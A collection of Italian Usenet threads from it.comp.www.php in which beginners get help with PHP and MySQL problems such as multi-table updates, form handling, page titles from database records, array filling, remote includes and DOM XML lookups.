Saluti
L. A. Iarrusso
Newsgroup: it.comp.www.php
Titolo: update di un campo con il confronto

Ciao a tutti,
il mio problema è che devo sostituire tutti i valori di un certo campo (che
chiamerò campo1) di una tabella, con l'id di un campo (campo2) di un altra
tabella che contiene lo stesso valore del campo1 .
In pratica:
Tabella 1:                       Tabella2:
campo1                             id        campo2
a                                        1            a
b                                        2             b
c                                        3             c
devo sostituire abc di campo1 con 123(cioè gli id di tabella2) dove i valori
di campo2 sono uguali
Idee?
Grazie Matteo


Non vedo riferimenti al database utilizzato.
Se e' MySQL verione >= 4.0.4 puoi fare cosi':
UPDATE Tabella1,Tabella2 SET Tabella1.campo1=Tabella2.id
WHERE Tabella1.campo1=Tabella2.campo2;
Ovviamente fai qualche test prima di modificare la tua base dati.
Tra l'altro funziona solo la prima volta perche' l'operazione di UPDATE
va a cambiare proprio Tabella1.campo1 utilizzato dalla clausola WHERE.
Si puo' fare anche in PHP ma in questo caso direi che e' piu' semplice 
arrangiarsi con un istruzione SQL.
Ciao.
  -Ema-

Newsgroup: it.comp.www.php
Titolo: passare variabili nei menù di collegamento

Ho il seguentenproblema:
non riesco a passare le variabili nei menů di collegamento. ossia, in un
menů
a tendina di un form senza andare a pigiare il pulsante di invio e passare
la variabile ad un'altra  pagina php vorrei che fosse passata
automaticamente all'evento di  selezione di un qualunque valore del menů a
tendina.
grazie

 tendina.
[SETEC mode ON]
Sei OT. Chiedi su it.comp.lang.javascript
[SETEC mode OFF]
:-)
In realtà, ti basta aggiungere all'interno della select l'evento 
appropriato:
<select onchange='this.form.submit();'>
--
rob4you

 ha scritto nel messaggio 
news:mn.6b337d73c...@KIEDIMELO.IT...


Newsgroup: it.comp.www.php
Titolo: vedere pagine di programmazione

Esiste un metodo per vedere le pagine di programmazione di un sito, anzichè
il semplice codice html
--
Paolo Badalamenti
--------------------------------------------------------------
50616F6C6F20426164616C616D656E7469

il semplice codice html
No a meno che non ci siano grosse falle di sicurezza.
Matteo

 Matteo
Ovviamente dico una caxxata sparando cosě senza pensarci...
Perň un minimo dubbio ce l'ho veramente.
Ma se io facio un leech a un sito ftp, non posso scaricarmi i file che lo
compongono?

 compongono?
il sito ftp sta lì proprio per essere scaricato, se concede login anonymous.
difficilmente ti lasciano gli accessi ftp alle directories del sito http!!!
ciao
-- 
Punkarruso
mail:punkarruso chiocchiolona despammed punto com
pubblicità progresso:
http://www.gnu.org/philosophy/free-sw.it.html

Newsgroup: it.comp.www.php
Titolo: Server

Salve a tutti , sapete dire il nome di un server
tipo easyphp , senza installer ,stand alone .
Che si possa utilizzare anche su una chiavetta usb.
Grazie a tutti
Ciao

G.L. ha scritto:

http://www.server2go-web.de/index.html
-- 
doh!

ti ringrazio.
Ciao
Newsgroup: it.comp.www.php
Titolo: Titolo pagina da record

Risolto il problema di Xoops (sono passato ad exoops), ora ho finalmente un 
problema tecnico.
Sto impostando il sito (ribadisco, sono un niubbone) in modo da effettuare 
la manutenzione minima possibile, pertanto ho deciso di infilare ID titolo e 
contenuto delle pagine in una tabella.
Come faccio però ad impostare il titolo della pagina recuperando il valore 
contenuto nella tabella, ad esempio in relazione all'ID=2???
Spero di essermi spiegato 

Spero di essermi spiegato 
Non ho capito cosa vuoi fare, vuoi modificare il modulo news? O
crearne uno nuovo???
Francesco Mazzi
Webmaster di AltroPC.it - 
http://www.altropc.it
 
Project Admin di "PHP Reservation - Online booking system" - 
http://phpreservation.sourceforge.net
Dev.Staff di E-Xoopport - 
http://dev.e-xoopport.it

[CUT]
in effetti non sono stato affatto chiaro...
A parte il CMS in uso, sto tentando di capire il funzionamento di 
HTML+PHP+MySQL
Ho una tabella tblMappa dove mapperò tutto il sito, che semplicisticamente 
contiene i campi:
ID numerico
Titolo (della pagina)
Contenuto (della pagina)
Ora quello che vorrei fare è, selezionando con, per esempio,
SELECT Titolo FROM tblMappa WHERE ID=2
è, dicevo, fare in modo che la pagina che si apre riporti come titolo il 
contenuto del campo Titolo preso dalla tabella tblMappa, laddove ID=2!
Ma qual è la sintassi corretta per fare capire all'HTML ciò che voglio?
Saluti 


una volta estratto il titolo:
<title>
<?php
echo $titoloestratto;
?>
</title>
Newsgroup: it.comp.www.php
Titolo: controlli all'interno del form

ciao a tutti
ho creato un form nella pagina controllo.php
vorrei visualizzare il form e quando clicclo il tasto
attiva lui dovrebbe controllare se il campo testo è
vuoto o meno
ecco il codice:
<?php
$testo=$_POST['testo'];
if ($testo=!NULL)
{
 echo 'attivato';
}
else
{
 echo 'non è attivato';
?>
 <form action="controllo.php" method="post">
  <input type="text" name="testo" size=10 value="">
  <input type="submit" value="Attiva">
 </form>
<?php
}
?>
all'inizio la variabile $testo dovrebbe essere vuota
e dovrebbe comparirmi il form
quando schiaccio il tasto "attiva"
ricarica la pagina e dovrebbe fare
il controllo sul campo "testo"
ma xchè non funziona e mi esce direttamente "attivato"?
leggendo qua e la sui forum e sul ng
non ci ho capito molto a parte usare js per i controlli
ma purtroppo se l'utente ha gli script disabilitati
non funzionerebbe niente :((
grazie
R1g3L 

 ma xchè non funziona e mi esce direttamente "attivato"?
Potrebbe dipendere dalla condizione sopra o dal fatto che scrivi xché, 
che si legge " icsché ", invece di "perché".

 che si legge " icsché ", invece di "perché".
                                          ^^^
forse volevi dire "invece di perché" :)
Mi permetto di correggerti, perché 6 stato tu il primo a farlo :)
Comunque, aggiungerei qualche smile in +
(   I simboli che ho messo io, invece, vanno bene? :P  )
Mi sembra chiara la mia posizione, ma la espongo per sicurezza:
ritengo fastidiose queste risposte come le tue (niente di personale), dove
si corregge il modo di scrivere (forse solo per il gusto di farlo), in un
contesto dove sono all'ordine del giorno acronimi come: IMO, IMHO, IMVHO,
IMNSHO, LOL, ROTFL, MSG, 3D, TNX, FAQ, Lurkare, NG, IT, OT, PLONK,
SIGN...................................................................

 if ($testo=!NULL)
Qui, hai scritto male il simbolo di diverso (è != e non =!). Nel tuo
caso alla variabile $testo, indipendentemente da quello che vale
precedentemente assegni il valore negato di NULL. Poiché l'assegnazione
va a buon fine, essa restituisce true ed ecco perché leggi sempre la
stringa 'attivato'.
Il controllo fallo così:
if (isset($_POST['testo']) && trim($_POST['testo'] != '')) {
    echo 'attivato';
} else {
    echo 'non attivato';
}
Ciao.
-- 
Federico
Newsgroup: it.comp.www.php
Titolo: Domandina cretina (per esperti)

 $maxNumberMedia  = 5;  #passato da un form
e' piu veloce cosi' (io credo questo)
differenza solo sulla 2a riga
for($i=1; $i<=50; $i++){
      if ($maxNumberMedia  == $i){
      echo "<option value=\"$i\" selected >$maxNumberMedia</option>\n";
      }
      echo "<option value=\"$i\">$i</option>\n";
      }
  echo "</select></td></tr>";
o cosi
for($i=1; $i<=50; $i++){
      if ($i == $maxNumberMedia ){
      echo "<option value=\"$i\" selected >$maxNumberMedia</option>\n";
      }
      echo "<option value=\"$i\">$i</option>\n";
      }
  echo "</select></td></tr>";
il codice di questo e' gpl dato che il programma da cui lo ho tirato fuori
e' gpl

 e' piu veloce cosi' (io credo questo)
In passato sono stati frammenti di codice che permettono di misurare il 
tempo di esecuzione di uno script.
Cerca su google.
Ciao

 Ciao
Oggi sono buono ...
<?
function getmicrotime(){
     list($usec, $sec) = explode(" ",microtime());
     return ((float)$usec + (float)$sec);
     }
$time_start = getmicrotime();
// codice da analizzare
$time_end = getmicrotime();
$time = $time_end - $time_start;
echo '<H3>Durata dello script: '.$time.' secondi</H3>';
?>
ciao
Mauro

       if ($i == $maxNumberMedia ){
L'unica differenza che vedo e` qui. Secondo me sono esattamente identici
come tempo di esecuzione.

       if ($i == $maxNumberMedia ){
Entrambi i valori, per eseguire il confronto, devono essere processati.
Il tempo č identico.
Ti confondi con
$boolean=false;
$valore= blblabla // formula che ci mette 3 ore ad essere calcolata
if ($boolean and $valore) // Ci mette pochi millisecondi
if ($valore and $boolean) // Ci mette, come minimo 3 ore
Ciao
J

 if ($valore and $boolean) // Ci mette, come minimo 3 ore
Non sono AND ma OR
CIao


mai cambiare il titolo del thread julien ;-)
-- 
  /\/\/\
[scirio]
  ('_')        
http://scirio.altervista.org
 - Personal sitez
  /||\         
http://iccp.altervista.org
   - Real sitez
  _/\_

Newsgroup: it.comp.www.php
Titolo: Mail + Attach RTF

Ciao ragazzi!
Mi sapete dire se si riesce ad inviare un RTF in atached ad una mail con
PHP?
Io ci sto sclerando da un pò, ma non riesco a leggere correttemente il file
attached alla mail...seppure la mail viene inviata correttamente e il file
allegato lo riesco a vedere come tale...
AIUTOOOOOOOO
-- 
daniele galiffa
multimedia designer & developer
http://www.mentegrafica.it/daniele
dan...@mentegrafica.it

 daniele galiffa
Ciao! Hai provato con questa lib?
http://www.phpscript.servehttp.com/public/lib_email.zip
.
Ciao
CR
Newsgroup: it.comp.www.php
Titolo: localhost

ho un'applicazione PHP che gestisce un DB MySQL, a cui accedono, in
lettura/scrittura, i vari visitatori del sito web.
seguendo il consiglio del manuale della Wrox, ho creato un file INC in cui
c'è una funzione che mi connette al database.
sul mio computer ho messo come host "localhost". ora che devo uploadare il
progetto, devo lasciare localhost, oppure ci vuole qualcos'altro?
grazie.
Mario

 Mario

 |
| Delete WORLD to reply        |
|                              |
| Software is like sex...      |
| It's better when it's free.  |
+------------------------------+

 ha scritto nel messaggio
news:ab9f5u$gchc0$1...@ID-70152.news.dfncis.de...

ti consiglio di vedere sempre prima sul tuo host i parametri my_sql , di
solito io creo un file "variabili.inc" in cui metto :
"indirizzo"
"nomedb"
"user"
"pass"
di norma ci aggiungo anche le altre variabili , ma di base queste 4 sono
sempre presenti , cmq per tornare IT "di solito" si usa "localhost" anche in
remoto !
cosi quando uploado faccio solo una modifica a un file per tutto

Newsgroup: it.comp.www.php
Titolo: Include

Salve! dovrei includere un file che sta in un altro server .. precisamente
su 
free.fr
l'include è questo : <?php include("
http://teddyalf.free.fr/ciccio.php
"); ?>
dove sbaglio?
Grazie!!!!!

Ma con include è necessario usare la sintassi con parentesi
include("pagina.php");
o no?
include "pagina.php";
a me funzionano entrambi, ma in locale, in remoto non ho provato...

Un demone messaggero mi porto' una pergamena di Gabrieledj
dal titolo "Include" scritta 
da Gabrieledj con il suo sangue:

funzionano uguale, pero la sintassi corretta e' la prima.
-- 
Sidewinder  
---------------------------------------------------------------------
You can tell how far we have to go, when FORTRAN is the language of
supercomputers.
		-- Steven Feiner
---------------------------------------------------------------------
Newsgroup: it.comp.www.php
Titolo: riempire un array bidimensionale con il risultato di una query SQL

ciao a tutti, ho questo problema:
devo riempire un array con il risultato di una query su una tabella,
gli indici dell' arrai devono esere l'id di riga e i nomi dei campi
questo mi serve per riempire una variabile privata della classe
ho un atabella:
idarea | nome_area
-------------------
1 | Formazione
2 | Qualità
--------------------
ho pensato di usare un ciclo con array_push
$query = "SELECT * FROM area";
$risultato = mysql_query($query);
while ($linea = mysql_fetch_array($risultato, MYSQL_ASSOC)) {
	array_push ($this->rowArea, $linea['idarea'] , $linea['nome_area']);
  }
  mysql_free_result($risultato);
 
  echo $this->rowArea [1] ['nome_area'];
che metodo usereste?
l'echo mi stampa solo la prima lettera del campo nome_area
perchè?

 	
sugli array in php meglio che non commento visto che sto facendo
confusione tra diversi linguaggi..
cmq..
c'è un buon motivo per non scriverre:
$result = mysql_query("SELECT * FROM area");
 
	while ($r = mysql_fetch_assoc($result)) {
		echo "$r[idarea] $r[nome_area]";
	}

 	}
????
il php è più complicato del previsto .... ;)

  echo $this->rowArea [1] ['nome_area'];
ciao
Alesi_27

 
ciao Alesi_27
purtroppo mi printa sempre il primo carattere del record ... bo?
grazie comunque

Newsgroup: it.comp.www.php
Titolo: Php e xml... documentazione ??

Salve a tutti,
arrivo al punto:
Devo usare php e le funzioni dom per cercare un elemento nel file xml con un
dato ID...
È un pò che sto provando con la guida ufficiale in mano ma non la capisco...
ecco il codice:
//il file è dentro
if(!$dom = domxml_open_file("prova.xml")) {
  echo "Error while parsing the document\n";
  exit;
}
//Ora dovrei cercare un elemento con dato id (passato dalla pagina) e di
questo elemento cercare tutti i figli e stamparli uno per ogni riga
Ho provato vari modi ma non capisco... chi mi da una mano?
Grazie

 Ho provato vari modi ma non capisco... chi mi da una mano?
Che cosa sarebbe che non capisci, oltre al poco codice che hai postato
ha fatto anche altre prove?
-- 
I'am what I'am, I do what I can




 $film = $dom->get_element_by_id("id");
Quoto dal manuale:
This function is similar to domdocument_get_elements_by_tagname() but
searches for an element with a given id. According to the DOM standard
this requires a DTD which defines the attribute ID to be of type ID.
Mi sembra evidente l'errore.
